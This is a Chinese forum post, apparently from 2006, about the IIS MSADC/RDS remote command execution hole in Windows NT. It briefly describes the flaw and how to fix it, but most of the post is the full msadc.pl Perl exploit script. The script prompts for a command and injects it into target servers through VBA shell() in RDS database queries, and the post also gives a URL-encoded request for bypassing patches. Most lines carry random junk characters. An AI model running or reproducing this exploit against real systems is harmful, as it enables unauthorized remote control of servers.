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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) d/&~IR  
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涉及程序: /|aD,JVN"  
Microsoft NT server L(\o66a-rV  
_.K<#S  
描述: =aJb}X  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Ah1fcXED  
kc}&\y  
详细: $+p4X# _  
如果你没有时间读详细内容的话,就删除: 1g bqHxWI  
c:\Program Files\Common Files\System\Msadc\msadcs.dll J?84WS  
有关的安全问题就没有了。 0Nq6>^ %  
Q*l_QnfG  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 f)%8*B  
wEMg~Hh  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 -KFozwr5/  
关于利用ODBC远程漏洞的描述,请参看: ^V;2v? O  
;_?RPWZ;MO  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm $(ei<cAV  
!i*bb~  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 _S;Fs|p_  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp E6mwvrm8  
DW.vu%j^[  
这里不再论述。 d6;"zW|Ec  
;PF!=8dW  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: L[cl$ pYV  
|% xgob  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset GV(@(bI*  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! .Pi8c[  
cuW&X9\m,  
c&n.JV   
#将下面这段保存为txt文件,然后: "perl -x 文件名" !pG_MO  
lgaE2`0 [3  
#!perl Fi_JF;  
# mq*Efb)!  
# MSADC/RDS 'usage' (aka exploit) script Qfd4")zhG  
# ibIo1i//[  
# by rain.forest.puppy >)p8^jX   
# UgjY  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me BA t0YE`-,  
# beta test and find errors! o2#_CdU   
hd)HJb-aR  
use Socket; use Getopt::Std; BT8L'qEj  
getopts("e:vd:h:XR", \%args); N 56/\1R  
Me XGE  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; F ;;\I  
^CWxYDG*  
if (!defined $args{h} && !defined $args{R}) { |SfmQ;  
print qq~ POtwT">z  
Usage: msadc.pl -h <host> { -d <delay> -X -v } xgV(0H}Mf  
-h <host> = host you want to scan (ip or domain) ,/ bv3pE  
-d <seconds> = delay between calls, default 1 second HE0@`(mCpa  
-X = dump Index Server path table, if available uF89B-t  
-v = verbose pNIu;1M5a  
-e = external dictionary file for step 5 (viGL|Ogn  
i r/-zp_  
Or a -R will resume a command session @+P7BE}  
ql_GN[c/  
~; exit;} %;-] HI  
fce~a\y0  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; MhXJ /bup  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} u^Sa{Jk=  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} u|}p3-z|Y  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); "cVJqW  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} s}5,<|DL  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } oPCtLz}z  
\sZT[42  
if (!defined $args{R}){ $ret = &has_msadc; \2Atm,#4  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 8M&q  
Nxd<#p  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Hk8pKpn3  
. "cmd /c "; i,z^#b7JQ  
$in=<STDIN>; chomp $in; }cPH}[ $zF  
$command="cmd /c " . $in ; +i0j3.  
mufJ@YS#  
if (defined $args{R}) {&load; exit;} Z\9DtvV  
n 9X:s?B/  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ZP}NFh%,u  
&try_btcustmr; C@#KZ`c)  
-m"9v%>Y  
print "\nStep 2: Trying to make our own DSN..."; e [ 9  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ;[,r./XmH  
LI`H,2Km  
print "\nStep 3: Trying known DSNs..."; Z;qgB7-M  
&known_dsn; _q7mYc  
@3_[NI%  
print "\nStep 4: Trying known .mdbs..."; ={]tklND  
&known_mdb; ,u&K(Z%  
iu9<]1k  
if (defined $args{e}){ fp`k1Uq@  
print "\nStep 5: Trying dictionary of DSN names..."; ]?3-;D.eG  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ]aN]Ha  
Wn kIi,<  
print "Sorry Charley...maybe next time?\n"; =)Z~ w`  
exit; &hco3HfW  
w$1B|7tX;2  
############################################################################## .s8u?1b  
$FM: 8^  
sub sendraw { # ripped and modded from whisker ~qu}<u)P  
sleep($delay); # it's a DoS on the server! At least on mine... JMVh\($,x  
my ($pstr)=@_; J7Y lmi  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || wk[4Qsk<  
die("Socket problems\n"); _>=QZ`!r  
if(connect(S,pack "SnA4x8",2,80,$target)){ k0^t$J W  
select(S); $|=1; Y4j%K~ls Y  
print $pstr; my @in=<S>; :|PI_ $4H  
select(STDOUT); close(S); t8_i[Hw6D  
return @in; 3:ELYn  
} else { die("Can't connect...\n"); }} agUdPl$e\  
\{K~x@`  
############################################################################## tYST&5Kh~  
CjT]!D)s  
sub make_header { # make the HTTP request {wwkbc*  
my $msadc=<<EOT <C{uodFll  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 25wvB@0&  
User-Agent: ACTIVEDATA +txHj(Y`  
Host: $ip R^+,D  
Content-Length: $clen B +<i=w  
Connection: Keep-Alive ;9"6g=q  
<F6LC_  
ADCClientVersion:01.06 v~`'!N8  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ,%4~ulKMn  
*DS>#x@3*i  
--!ADM!ROX!YOUR!WORLD! V:*6R/Ft  
Content-Type: application/x-varg qx2M"uFJ  
Content-Length: $reqlen V \Sl->:  
d6vls7J/4  
EOT Zy&?.d[z  
; $msadc=~s/\n/\r\n/g; }Jm~b9j  
return $msadc;} gBd@4{y6C.  
\@F~4,VT  
############################################################################## i/{`rv*K[  
I|/\L|vo  
sub make_req { # make the RDS request TJ+,G4z  
my ($switch, $p1, $p2)=@_; Qf.]Mw?Bm  
my $req=""; my $t1, $t2, $query, $dsn; y@2$sK3K  
c#<p44>U  
if ($switch==1){ # this is the btcustmr.mdb query Gm.2!F=R4A  
$query="Select * from Customers where City=" . make_shell(); kS1?%E,)q  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . U])$#/ v  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ?CSv;:  
wq = Ef  
elsif ($switch==2){ # this is general make table query :@]%n~x  
$query="create table AZZ (B int, C varchar(10))"; *EllE+M{n  
$dsn="$p1";} W+`T:Mgh  
hzV= 7  
elsif ($switch==3){ # this is general exploit table query aM!%EaT  
$query="select * from AZZ where C=" . make_shell(); 2!Sl!x+i\'  
$dsn="$p1";} 0.z\YTZ9  
+(/' b' *  
elsif ($switch==4){ # attempt to hork file info from index server wHE1Jqpo  
$query="select path from scope()"; 6`V~cVu  
$dsn="Provider=MSIDXS;";} #H-EOXy  
RZbiiMC>  
elsif ($switch==5){ # bad query J|.n bSE  
$query="select"; |?<^4U8  
$dsn="$p1";} B'8T+qvA  
|}D5q| d@n  
$t1= make_unicode($query); H J0Rcw%  
$t2= make_unicode($dsn); < gu>06  
$req = "\x02\x00\x03\x00"; \Y^GA;AMQQ  
$req.= "\x08\x00" . pack ("S1", length($t1)); S:{`eDk\A_  
$req.= "\x00\x00" . $t1 ; , ePl>m:Z  
$req.= "\x08\x00" . pack ("S1", length($t2)); q"$C)o  
$req.= "\x00\x00" . $t2 ; J?_-Dg(=  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; fX{Xw0  
return $req;} 6~tj"34_  
fx*Q,}t  
############################################################################## TxvvCV^  
 s4vj  
sub make_shell { # this makes the shell() statement tf4clzSTa  
return "'|shell(\"$command\")|'";} ;&`6b:ug  
bBgyLyg  
############################################################################## C8AR ^F W  
DyM<aT  
sub make_unicode { # quick little function to convert to unicode -muP.h/  
my ($in)=@_; my $out; (o518fmR  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ,)PpE&  
return $out;} 4GG0jCNk  
X]c>clk,  
############################################################################## j5MUP&/g3  
o(eh.  
sub rdo_success { # checks for RDO return success (this is kludge) d5#z\E??  
my (@in) = @_; my $base=content_start(@in); YYF.0G}  
if($in[$base]=~/multipart\/mixed/){ `i)Pf WdBN  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} yM# %UeZ\  
return 0;} Ib2n Bg>j  
5`Y>!| Ab  
############################################################################## VYnB&3 %DF  
*X8Pa ;x  
sub make_dsn { # this makes a DSN for us _@! yj  
my @drives=("c","d","e","f"); N fND@m{/  
print "\nMaking DSN: "; IubzHf  
foreach $drive (@drives) { 3*#$:waGd  
print "$drive: "; Qt.|YB8  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . j9f[){m`  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" He1~27+99  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); @nOuFX4  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; [BKOK7QK|  
return 0 if $2 eq "404"; # not found/doesn't exist mNKcaM?h  
if($2 eq "200") { 5V8`-yO9  
foreach $line (@results) { (o4':/es  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} p<c1$O*  
} return 0;} k_`YVsEYP  
DWupLJpk;c  
############################################################################## :eFyd`Syw  
m'WGK`WIm  
sub verify_exists { V\=%u<f  
my ($page)=@_; L~*nI d  
my @results=sendraw("GET $page HTTP/1.0\n\n"); {Zo*FZcaX  
return $results[0];} t(1gJZs>kX  
x\8gb#8  
############################################################################## &'u%|A@  
y=zs6HaS  
sub try_btcustmr { 0Ok[`r`  
my @drives=("c","d","e","f"); 3:bP>l!  
my @dirs=("winnt","winnt35","winnt351","win","windows"); `2`h4[^ [X  
#rQT)n  
foreach $dir (@dirs) { (dP9`Na]  
print "$dir -> "; # fun status so you can see progress VVqpzDoXG  
foreach $drive (@drives) { g ,yB^^%  
print "$drive: "; # ditto 1rV9dM#F  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; I5E+=.T*ar  
$reqlenlen=length( "$reqlen" ); * yGlX[  
$clen= 206 + $reqlenlen + $reqlen; Rm Q>.?  
F41gMg  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); H[N~)3x  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ~*L@|?  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ^_/gM[H.  
eBqF@'DQ  
############################################################################## Hk?E0.  
-^t&U] g  
sub odbc_error { T#a6X;9P  
my (@in)=@_; my $base; :<uCi\9(  
my $base = content_start(@in); mV}eMw  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ]0g1P-&,U  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; lr$,=P`  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 7eG@)5Uy  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; KJ_L>$ ]*  
return $in[$base+4].$in[$base+5].$in[$base+6];} a KIS%M#Y  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; h8P_/.+g|V  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . GuQ#  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Y^gIvX  
_#w5hX cu  
############################################################################## 29NP!W /g  
2>im'x 5  
sub verbose { <n0j'P>1  
my ($in)=@_; '>>@I~<\  
return if !$verbose; kp*BAQ  
print STDOUT "\n$in\n";} ar@ysBy  
|2&|#K4k^  
############################################################################## dfs1BV'  
WiFZY*iu5  
sub save {  3,Bm"'b6  
my ($p1, $p2, $p3, $p4)=@_; jxnb<!|?H@  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; K\$z,}0  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; >Yfo $S_  
close OUT;} o Hrx$>W]  
"H}ae7@  
############################################################################## cQh=Mri]  
/(bn+l}W  
sub load { LdyE*u_  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; c1StA  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 0WAOA6 _x  
@p=<IN>; close(IN); KQ.cd]6  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); e{d$OzT) V  
$target= inet_aton($ip) || die("inet_aton problems"); 5<?/M<i  
print "Resuming to $ip ..."; x[2eA!NC  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; !_h<w?)  
if($p[1]==1) { 8wA'a'V.  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 9_pOV%Qs  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; E)F"!56lV  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); +IfU 5&5<  
if (rdo_success(@results)){print "Success!\n";} LzkwgcR  
else { print "failed\n"; verbose(odbc_error(@results));}} BmFs6{>~c  
elsif ($p[1]==3){ Y ptP_R:2p  
if(run_query("$p[3]")){ o<%s\n  
print "Success!\n";} else { print "failed\n"; }} z@J;sz  
elsif ($p[1]==4){ JU0|pstf  
if(run_query($drvst . "$p[3]")){ <US!XMrCg  
print "Success!\n"; } else { print "failed\n"; }} !:Clzlg   
exit;} <4P"1#nHQ+  
x)o`w"]al  
############################################################################## I?i,21:5  
'} LAZQ"  
sub create_table { > v ]-B"Y  
my ($in)=@_; +W9#^  
$reqlen=length( make_req(2,$in,"") ) - 28; < 5#}EiT5  
$reqlenlen=length( "$reqlen" ); QOY M/1U  
$clen= 206 + $reqlenlen + $reqlen; qct:xviH<|  
my @results=sendraw(make_header() . make_req(2,$in,"")); z[ ml;?  
return 1 if rdo_success(@results); S`GM#(t@_  
my $temp= odbc_error(@results); verbose($temp); $WK~|+"{>  
return 1 if $temp=~/Table 'AZZ' already exists/; j#E&u*IR  
return 0;} fQOh%i9n5  
Se %"C&  
############################################################################## \d{S3\7  
*^P$^lm?S  
sub known_dsn { 9q !./)  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go iu 6NIy7D  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", Acib<Mi2!-  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", RP4P"m(   
"banner", "banners", "ads", "ADCDemo", "ADCTest"); knJoVo]  
VVyms7 VN  
foreach $dSn (@dsns) { |v%xOl  
print "."; wsLfp82  
next if (!is_access("DSN=$dSn")); fbK`A?5K  
if(create_table("DSN=$dSn")){ -Lbi eS%  
print "$dSn successful\n"; JgY#W1>  
if(run_query("DSN=$dSn")){ j:6VWdgq  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Gt;59}  
print "Something's borked. Use verbose next time\n";}}} print "\n";} <i!7f26r  
)mw&e}jRV  
############################################################################## Lcpz(W ^  
Fz4g:8qdA  
sub is_access { THbV],RhJ  
my ($in)=@_; 9!sR}  
$reqlen=length( make_req(5,$in,"") ) - 28; x<%V&<z1g  
$reqlenlen=length( "$reqlen" ); I,xV&j+<  
$clen= 206 + $reqlenlen + $reqlen; #ig* !  
my @results=sendraw(make_header() . make_req(5,$in,"")); o|BEY3|  
my $temp= odbc_error(@results); @(m XiK  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); c={bunnz#  
return 0;} Mli`[8@(  
NXw$PM|+R  
############################################################################## l@zr1g)  
h!L6NS_Q,  
sub run_query { T[YGQT|B  
my ($in)=@_; *U=%W4?W  
$reqlen=length( make_req(3,$in,"") ) - 28; 8Ekk"h 6  
$reqlenlen=length( "$reqlen" ); D8''q%  
$clen= 206 + $reqlenlen + $reqlen; *To 5\|  
my @results=sendraw(make_header() . make_req(3,$in,"")); 8#MiM . f  
return 1 if rdo_success(@results); Q{0!N8']"  
my $temp= odbc_error(@results); verbose($temp); Z `)}1|~B  
return 0;} p7pJ90~E  
Dqw?3 KB  
############################################################################## ?$#,h30  
voHFU#Z$  
sub known_mdb { Lh(` 9(tX  
my @drives=("c","d","e","f","g"); i;XkH4E:)  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ?Gq|OT 8  
my $dir, $drive, $mdb; #&cNR_"w  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; dlx "L%  
/bd1Bi  
# this is sparse, because I don't know of many 7O,y%NWaK  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ;x=k J@  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", :6*FnKD  
"\\system32\\certmdb.mdb", 6?3f+=e"~!  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ^at X/  
AMhHq/Dw  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", s]"NqwIPK  
"\\cfusion\\cfapps\\forums\\forums_.mdb", K; +w'/{  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", !Cpy )D(  
"\\cfusion\\cfapps\\security\\realm_.mdb", QD}'2{M!  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", >2[\WF*"X  
"\\cfusion\\database\\cfexamples.mdb", i'$V'x'k  
"\\cfusion\\database\\cfsnippets.mdb", 5)rMoYn25  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", m;S!E-W  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 0 2lI-xHe  
"\\cfusion\\brighttiger\\database\\cleam.mdb", E8Jy!8/X9T  
"\\cfusion\\database\\smpolicy.mdb", ?4kM5NtP  
"\\cfusion\\database\cypress.mdb", ky`xBO =  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", W]]@pbG"H\  
"\\website\\cgi-win\\dbsample.mdb", c?;YufH'j  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", }J~ d6m  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" %q~YJ*\  
); #these are just F.s*^}L[  
foreach $drive (@drives) { atW=xn  
foreach $dir (@dirs){ ^Lx(if WJ  
foreach $mdb (@sysmdbs) { Y~P1r]piB  
print "."; f(^? PGO  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ `Dck$  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; |# _F  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ LRJY63A  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; X7cqAi  
} else { print "Something's borked. Use verbose next time\n"; }}}}} :6 , `M,  
p f\ Ybbs  
foreach $drive (@drives) { VO (KQx  
foreach $mdb (@mdbs) { n#2tFuPE  
print "."; Y ,Iv<Hg  
if(create_table($drv . $drive . $dir . $mdb)){ N-0kB vo  
print "\n" . $drive . $dir . $mdb . " successful\n"; Q"6:W2#v  
if(run_query($drv . $drive . $dir . $mdb)){ 'F\@KE -d  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; @>r3=s.Q  
} else { print "Something's borked. Use verbose next time\n"; }}}} Oy,7>vWQI  
} PQu_]cXI  
E%[2NsOM]  
############################################################################## [MQU~+]  
q X"Pg  
sub hork_idx { sew0n`d1  
print "\nAttempting to dump Index Server tables...\n"; !mjrI "_  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ftr8~*]O  
$reqlen=length( make_req(4,"","") ) - 28; _~l*p"PL<  
$reqlenlen=length( "$reqlen" ); `X["Bgk$!T  
$clen= 206 + $reqlenlen + $reqlen; %kHeU=  
my @results=sendraw2(make_header() . make_req(4,"","")); s=Cu-.~L  
if (rdo_success(@results)){ gB3Tz(!  
my $max=@results; my $c; my %d; T J!d 7  
for($c=19; $c<$max; $c++){ 8h.Dc&V  
$results[$c]=~s/\x00//g; R{3?`x!fY  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; n$*e(  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ;R_H8vp  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; Vr<eU>W  
$d{"$1$2"}="";} m0}1P]dc  
foreach $c (keys %d){ print "$c\n"; } wNfWHaH" m  
} else {print "Index server doesn't seem to be installed.\n"; }} +Fk]hCL  
QY^v*+lr\  
############################################################################## Izapx\GK9  
2C@ui728  
sub dsn_dict { 7)i6L'r  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); yUyx&Y/  
while(<IN>){ JZUf-0q  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 38gHM9T xh  
next if (!is_access("DSN=$dSn")); j><8V Qx  
if(create_table("DSN=$dSn")){ Rxf.@E  
print "$dSn successful\n"; vNA~EV02  
if(run_query("DSN=$dSn")){ O>M4%p  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { )LdS1%  
print "Something's borked. Use verbose next time\n";}}} oIJ.Tv@N(  
print "\n"; close(IN);} L'@@ewA  
UNC%<=  
############################################################################## `J26Y"]P  
m%p;>:"R  
sub sendraw2 { # ripped and modded from whisker <y!(X"n`  
sleep($delay); # it's a DoS on the server! At least on mine... B.oD9 <9  
my ($pstr)=@_; V49[XX  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Lc?q0x^s  
die("Socket problems\n"); m35$4  
if(connect(S,pack "SnA4x8",2,80,$target)){ 7_^JgA|Kk7  
print "Connected. Getting data"; .!^}sp,E  
open(OUT,">raw.out"); my @in; +FGw)>g8'm  
select(S); $|=1; print $pstr; }TDoQ]P  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} LPRvzlY=  
close(OUT); select(STDOUT); close(S); return @in; d,:3;:CR  
} else { die("Can't connect...\n"); }} =*\(Y (0  
rF:l+I]  
############################################################################## Lt?k$U{qe)  
a?NoNv)&  
sub content_start { # this will take in the server headers S4!}7NOh  
my (@in)=@_; my $c; [izP1A$r#Q  
for ($c=1;$c<500;$c++) { c_Fz?R+f?K  
if($in[$c] =~/^\x0d\x0a/){ }P(<]UF  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } l2ww3)Z  
else { return $c+1; }}} 3$#=* Zp  
return -1;} # it should never get here actually /@xL {  
/8Xd2-  
############################################################################## }Lc8tj<  
Y3M"a8e'  
sub funky { C%T$l8$  
my (@in)=@_; my $error=odbc_error(@in); U+7!Vpq  
if($error=~/ADO could not find the specified provider/){ qQ^ bUpk0  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Nxr%xTD  
exit;} L`@)*x)~R  
if($error=~/A Handler is required/){ (! "+\KY  
print "\nServer has custom handler filters (they most likely are patched)\n"; Hr}pO"%  
exit;} ^sb+|b  
if($error=~/specified Handler has denied Access/){ 7Pp~)Kq=  
print "\nServer has custom handler filters (they most likely are patched)\n"; me`|i-   
exit;}} f J$>VN  
vWq/A.  
############################################################################## J,,+JoD  
yh{Wuz=T  
sub has_msadc { ov%.+5P  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); &?(472<f**  
my $base=content_start(@results); nX\Q{R2  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ,Jqk0cW2  
return 0;} .~jn N  
H;kk:s'  
######################## Ou,Eu05jt'  
v3Xt<I=4y  
-$@4e|e%a  
解决方案: ;{S7bH'6m  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ,?(IRiq%  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 xulwn{R s  
3G9AS#-C  
拿出来充数 哈哈
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